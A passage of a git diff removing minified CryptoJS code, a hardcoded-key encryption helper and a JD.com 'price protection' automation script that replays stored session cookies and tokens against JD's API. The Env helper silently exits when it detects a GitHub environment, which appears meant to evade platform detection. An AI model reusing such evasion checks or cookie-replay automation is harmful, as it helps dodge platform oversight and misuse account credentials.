t=this._key,e=t.words;this._des1=_.createEncryptor(c.create(e.slice(0,2))),this._des2=_.createEncryptor(c.create(e.slice(2,4))),this._des3=_.createEncryptor(c.create(e.slice(4,6)))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});n.TripleDES=o._createHelper(p)}(),function(){function e(){for(var t=this._S,e=this._i,i=this._j,n=0,r=0;r<4;r++){e=(e+1)%256,i=(i+t[e])%256;var c=t[e];t[e]=t[i],t[i]=c,n|=t[(t[e]+t[i])%256]<<24-8*r} -return this._i=e,this._j=i,n} -var i=t,n=i.lib,r=n.StreamCipher,c=i.algo,o=c.RC4=r.extend({_doReset:function(){for(var t=this._key,e=t.words,i=t.sigBytes,n=this._S=[],r=0;r<256;r++) -n[r]=r;for(var r=0,c=0;r<256;r++){var o=r%i,a=e[o>>>2]>>>24-o%4*8&255;c=(c+n[r]+a)%256;var s=n[r];n[r]=n[c],n[c]=s} -this._i=this._j=0},_doProcessBlock:function(t,i){t[i]^=e.call(this)},keySize:8,ivSize:0});i.RC4=r._createHelper(o);var a=c.RC4Drop=o.extend({cfg:o.cfg.extend({drop:192}),_doReset:function(){o._doReset.call(this);for(var t=this.cfg.drop;t>0;t--) -e.call(this)}});i.RC4Drop=r._createHelper(a)}(),t.mode.CTRGladman=function(){function e(t){if(255==(t>>24&255)){var e=t>>16&255,i=t>>8&255,n=255&t;255===e?(e=0,255===i?(i=0,255===n?n=0:++n):++i):++e,t=0,t+=e<<16,t+=i<<8,t+=n}else -t+=1<<24;return t} -function i(t){return 0===(t[0]=e(t[0]))&&(t[1]=e(t[1])),t} -var n=t.lib.BlockCipherMode.extend(),r=n.Encryptor=n.extend({processBlock:function(t,e){var n=this._cipher,r=n.blockSize,c=this._iv,o=this._counter;c&&(o=this._counter=c.slice(0),this._iv=void 0),i(o);var a=o.slice(0);n.encryptBlock(a,0);for(var s=0;s>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(var i=0;i<8;i++){var n=t[i]+e[i],r=65535&n,c=n>>>16,o=((r*r>>>17)+r*c>>>15)+c*c,l=((4294901760&n)*n|0)+((65535&n)*n|0);s[i]=o^l} -t[0]=s[0]+(s[7]<<16|s[7]>>>16)+(s[6]<<16|s[6]>>>16)|0,t[1]=s[1]+(s[0]<<8|s[0]>>>24)+s[7]|0,t[2]=s[2]+(s[1]<<16|s[1]>>>16)+(s[0]<<16|s[0]>>>16)|0,t[3]=s[3]+(s[2]<<8|s[2]>>>24)+s[1]|0,t[4]=s[4]+(s[3]<<16|s[3]>>>16)+(s[2]<<16|s[2]>>>16)|0,t[5]=s[5]+(s[4]<<8|s[4]>>>24)+s[3]|0,t[6]=s[6]+(s[5]<<16|s[5]>>>16)+(s[4]<<16|s[4]>>>16)|0,t[7]=s[7]+(s[6]<<8|s[6]>>>24)+s[5]|0} -var i=t,n=i.lib,r=n.StreamCipher,c=i.algo,o=[],a=[],s=[],l=c.Rabbit=r.extend({_doReset:function(){for(var t=this._key.words,i=this.cfg.iv,n=0;n<4;n++) -t[n]=16711935&(t[n]<<8|t[n]>>>24)|4278255360&(t[n]<<24|t[n]>>>8);var r=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],c=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];this._b=0;for(var n=0;n<4;n++) -e.call(this);for(var n=0;n<8;n++) -c[n]^=r[n+4&7];if(i){var o=i.words,a=o[0],s=o[1],l=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8),h=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),u=l>>>16|4294901760&h,d=h<<16|65535&l;c[0]^=l,c[1]^=u,c[2]^=h,c[3]^=d,c[4]^=l,c[5]^=u,c[6]^=h,c[7]^=d;for(var n=0;n<4;n++) -e.call(this)}},_doProcessBlock:function(t,i){var n=this._X;e.call(this),o[0]=n[0]^n[5]>>>16^n[3]<<16,o[1]=n[2]^n[7]>>>16^n[5]<<16,o[2]=n[4]^n[1]>>>16^n[7]<<16,o[3]=n[6]^n[3]>>>16^n[1]<<16;for(var r=0;r<4;r++) -o[r]=16711935&(o[r]<<8|o[r]>>>24)|4278255360&(o[r]<<24|o[r]>>>8),t[i+r]^=o[r]},blockSize:4,ivSize:2});i.Rabbit=r._createHelper(l)}(),t.mode.CTR=function(){var e=t.lib.BlockCipherMode.extend(),i=e.Encryptor=e.extend({processBlock:function(t,e){var i=this._cipher,n=i.blockSize,r=this._iv,c=this._counter;r&&(c=this._counter=r.slice(0),this._iv=void 0);var o=c.slice(0);i.encryptBlock(o,0),c[n-1]=c[n-1]+1|0;for(var a=0;a>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(var i=0;i<8;i++){var n=t[i]+e[i],r=65535&n,c=n>>>16,o=((r*r>>>17)+r*c>>>15)+c*c,l=((4294901760&n)*n|0)+((65535&n)*n|0);s[i]=o^l} -t[0]=s[0]+(s[7]<<16|s[7]>>>16)+(s[6]<<16|s[6]>>>16)|0,t[1]=s[1]+(s[0]<<8|s[0]>>>24)+s[7]|0,t[2]=s[2]+(s[1]<<16|s[1]>>>16)+(s[0]<<16|s[0]>>>16)|0,t[3]=s[3]+(s[2]<<8|s[2]>>>24)+s[1]|0,t[4]=s[4]+(s[3]<<16|s[3]>>>16)+(s[2]<<16|s[2]>>>16)|0,t[5]=s[5]+(s[4]<<8|s[4]>>>24)+s[3]|0,t[6]=s[6]+(s[5]<<16|s[5]>>>16)+(s[4]<<16|s[4]>>>16)|0,t[7]=s[7]+(s[6]<<8|s[6]>>>24)+s[5]|0} -var i=t,n=i.lib,r=n.StreamCipher,c=i.algo,o=[],a=[],s=[],l=c.RabbitLegacy=r.extend({_doReset:function(){var t=this._key.words,i=this.cfg.iv,n=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],r=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];this._b=0;for(var c=0;c<4;c++) -e.call(this);for(var c=0;c<8;c++) -r[c]^=n[c+4&7];if(i){var o=i.words,a=o[0],s=o[1],l=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8),h=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),u=l>>>16|4294901760&h,d=h<<16|65535&l;r[0]^=l,r[1]^=u,r[2]^=h,r[3]^=d,r[4]^=l,r[5]^=u,r[6]^=h,r[7]^=d;for(var c=0;c<4;c++) -e.call(this)}},_doProcessBlock:function(t,i){var n=this._X;e.call(this),o[0]=n[0]^n[5]>>>16^n[3]<<16,o[1]=n[2]^n[7]>>>16^n[5]<<16,o[2]=n[4]^n[1]>>>16^n[7]<<16,o[3]=n[6]^n[3]>>>16^n[1]<<16;for(var r=0;r<4;r++) -o[r]=16711935&(o[r]<<8|o[r]>>>24)|4278255360&(o[r]<<24|o[r]>>>8),t[i+r]^=o[r]},blockSize:4,ivSize:2});i.RabbitLegacy=r._createHelper(l)}(),t.pad.ZeroPadding={pad:function(t,e){var i=4*e;t.clamp(),t.sigBytes+=i-(t.sigBytes%i||i)},unpad:function(t){for(var e=t.words,i=t.sigBytes-1;!(e[i>>>2]>>>24-i%4*8&255);) -i--;t.sigBytes=i+1}},CryptoJSs=t;} -function a(t){var CryptoJS=new CryptoJSs;var e=CryptoJS.enc.Utf8.parse("fn0chlrwxspujttbg9feqfatelupq0q1qc9ukx1ykifkco9rfqepqd4tk4ymshn0"),i=CryptoJS.enc.Utf8.parse(t),n=CryptoJS.enc.Hex.parse("00000000"),r=CryptoJS.TripleDES.encrypt(i,e,{iv:n});return encodeURIComponent(r.toString())} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_price.js b/backUp/jd_price.js deleted file mode 100644 index e38ef6a..0000000 --- a/backUp/jd_price.js +++ /dev/null @@ -1,803 +0,0 @@ -/* -cron 5 2 * * * -update 2021/7/25 -京东价格保护:脚本更新地址 https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtect.js -脚本兼容: QuantumultX, Node.js -==========================Quantumultx========================= -打开手机客户端,或者浏览器访问 https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu - -[rewrite_local] -https:\/\/api\.m.jd.com\/api\?appid=siteppM&functionId=siteppM_priceskusPull url script-request-body https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtectRewrite.js - -[task_local] -# 京东价格保护 -5 0 * * * https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtect.js, tag=京东价格保护, img-url=https://raw.githubusercontent.com/ZCY01/img/master/pricev1.png, enabled=true -*/ - -const $ = new Env('京东价格保护'); - -const unifiedGatewayName = 'https://api.m.jd.com' - -// 请先配置 token!!!最好抓APP的! -let tokens = '' -console.log(`\n如果报错。请参考:\nhttps://github.com/ZCY01/daily_scripts/tree/main/jd\n设置token`); -$.HyperParam = { - sid_hid: '', - type_hid: '3', - forcebot: '' -} -!(async () => { - await requireConfig() - // if (!$.tokenList[0]) { - // $.msg($.name, '请先获取JD_TOKEN', 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', { - // "open-url": "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" - // }) - // return - // } - for (let i = 0; i < $.cookiesArr.length; i++) { - if ($.cookiesArr[i]) { - $.cookie = $.cookiesArr[i] - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1 - $.isLogin = true - $.nickName = '' - await totalBean(); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `X东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { - "open-url": "https://bean.m.jd.com/" - }) - await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `X东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - continue - } - console.log(`\n***********开始【X东账号${$.index}】${$.nickName || $.UserName}********\n`); - - $.refundtotalamount = 0 - $.token = $.tokenList.length > i ? $.tokenList[i] : ($.token || '') - $.feSt = $.token ? 's' : 'f' - - $.applied = false - await onceApply() - if ($.applied) { - await checkOnceAppliedResult() - } - await showMsg() - await $.wait(1000) - } - } -})() - .catch((e) => { - console.log(`❗️ ${$.name} 运行错误!\n${e}`) - }).finally(() => $.done()) - -function requireConfig() { - return new Promise(resolve => { - console.log('开始获取配置文件\n') - $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } - //获取 Cookies - $.cookiesArr = [] - if ($.isNode()) { - //Node.js用户请在jdCookie.js处填写X东ck; - const jdCookieNode = require('./jdCookie.js'); - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - $.cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - } else { - //IOS等用户直接用NobyDa的jd $.cookie - $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${$.cookiesArr.length}个X东账号\n`) - - if ($.isNode) { - if (process.env.JD_TOKENS) tokens = process.env.JD_TOKENS - } - else { - tokens = $.getdata('jd_token') || tokens - } - $.tokenList = tokens.split('@') - resolve() - }) -} - -function onceApply() { - return new Promise((resolve, reject) => { - let paramObj = {}; - paramObj.sid = $.HyperParam.sid_hid - paramObj.type = $.HyperParam.type_hid - paramObj.forcebot = $.HyperParam.forcebot - paramObj.token = $.token - paramObj.feSt = $.feSt - - let options = taskurl('siteppM_skuOnceApply', paramObj) - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - if (data.flag) { - $.applied = true - } - else { - console.log(`一键价格保护失败,原因:${data.responseMessage}`) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) -} - -function checkOnceAppliedResult() { - return new Promise((resolve, reject) => { - let paramObj = {} - paramObj.sid = $.HyperParam.sid_hid - paramObj.type = $.HyperParam.type_hid - paramObj.forcebot = $.forcebot - paramObj.num = 10 - - let options = taskurl('siteppM_appliedSuccAmount', paramObj) - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - if (data.flag) { - $.refundtotalamount = data.succAmount - } - else { - console.log(`一键价格保护结果:${JSON.stringify(data)}`) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) -} - -function totalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" - }, - "timeout": 10000, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`X东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskurl(functionid, body) { - const urlStr = `${unifiedGatewayName}/api?appid=siteppM&functionId=${functionid}&forcebot=${$.HyperParam.forcebot}&t=${new Date().getTime()}` - return { - "url": urlStr, - "headers": { - 'Host': 'api.m.jd.com', - 'Accept': '*/*', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://msitepp-fm.jd.com', - 'Connection': 'keep-alive', - 'Referer': 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", - "Cookie": $.cookie - }, - "body": body ? `body=${encodeURIComponent(JSON.stringify(body))}` : undefined - } -} - -async function showMsg() { - const message = `X东账号${$.index} ${$.nickName || $.UserName}\n🎉 本次价格保护金额:${$.refundtotalamount}💰` - console.log(message) - if ($.refundtotalamount) { - $.msg($.name, ``, message, { - "open-url": "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" - }); - await $.notify.sendNotify($.name, message) - } -} - -// 来自 @chavyleung 大佬 -// https://raw.githubusercontent.com/chavyleung/scripts/master/Env.js -function Env(name, opts) { - class Http { - constructor(env) { - this.env = env - } - - send(opts, method = 'GET') { - opts = typeof opts === 'string' ? { - url: opts - } : opts - let sender = this.get - if (method === 'POST') { - sender = this.post - } - return new Promise((resolve, reject) => { - sender.call(this, opts, (err, resp, body) => { - if (err) reject(err) - else resolve(resp) - }) - }) - } - - get(opts) { - return this.send.call(this.env, opts) - } - - post(opts) { - return this.send.call(this.env, opts, 'POST') - } - } - - return new (class { - constructor(name, opts) { - this.name = name - this.http = new Http(this) - this.data = null - this.dataFile = 'box.dat' - this.logs = [] - this.isMute = false - this.isNeedRewrite = false - this.logSeparator = '\n' - this.startTime = new Date().getTime() - Object.assign(this, opts) - this.log('', `🔔${this.name}, 开始!`) - } - - isNode() { - return 'undefined' !== typeof module && !!module.exports - } - - isQuanX() { - return 'undefined' !== typeof $task - } - - isSurge() { - return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon - } - - isLoon() { - return 'undefined' !== typeof $loon - } - - toObj(str, defaultValue = null) { - try { - return JSON.parse(str) - } catch { - return defaultValue - } - } - - toStr(obj, defaultValue = null) { - try { - return JSON.stringify(obj) - } catch { - return defaultValue - } - } - - getjson(key, defaultValue) { - let json = defaultValue - const val = this.getdata(key) - if (val) { - try { - json = JSON.parse(this.getdata(key)) - } catch { } - } - return json - } - - setjson(val, key) { - try { - return this.setdata(JSON.stringify(val), key) - } catch { - return false - } - } - - getScript(url) { - return new Promise((resolve) => { - this.get({ - url - }, (err, resp, body) => resolve(body)) - }) - } - - runScript(script, runOpts) { - return new Promise((resolve) => { - let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') - httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi - let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') - httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 - httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout - const [key, addr] = httpapi.split('@') - const opts = { - url: `http://${addr}/v1/scripting/evaluate`, - body: { - script_text: script, - mock_type: 'cron', - timeout: httpapi_timeout - }, - headers: { - 'X-Key': key, - 'Accept': '*/*' - } - } - this.post(opts, (err, resp, body) => resolve(body)) - }).catch((e) => this.logErr(e)) - } - - loaddata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require('fs') - this.path = this.path ? this.path : require('path') - const curDirDataFilePath = this.path.resolve(this.dataFile) - const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) - const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) - const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) - if (isCurDirDataFile || isRootDirDataFile) { - const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath - try { - return JSON.parse(this.fs.readFileSync(datPath)) - } catch (e) { - return {} - } - } else return {} - } else return {} - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require('fs') - this.path = this.path ? this.path : require('path') - const curDirDataFilePath = this.path.resolve(this.dataFile) - const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) - const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) - const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) - const jsondata = JSON.stringify(this.data) - if (isCurDirDataFile) { - this.fs.writeFileSync(curDirDataFilePath, jsondata) - } else if (isRootDirDataFile) { - this.fs.writeFileSync(rootDirDataFilePath, jsondata) - } else { - this.fs.writeFileSync(curDirDataFilePath, jsondata) - } - } - } - - lodash_get(source, path, defaultValue = undefined) { - const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') - let result = source - for (const p of paths) { - result = Object(result)[p] - if (result === undefined) { - return defaultValue - } - } - return result - } - - lodash_set(obj, path, value) { - if (Object(obj) !== obj) return obj - if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] - path - .slice(0, -1) - .reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ - path[path.length - 1] - ] = value - return obj - } - - getdata(key) { - let val = this.getval(key) - // 如果以 @ - if (/^@/.test(key)) { - const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) - const objval = objkey ? this.getval(objkey) : '' - if 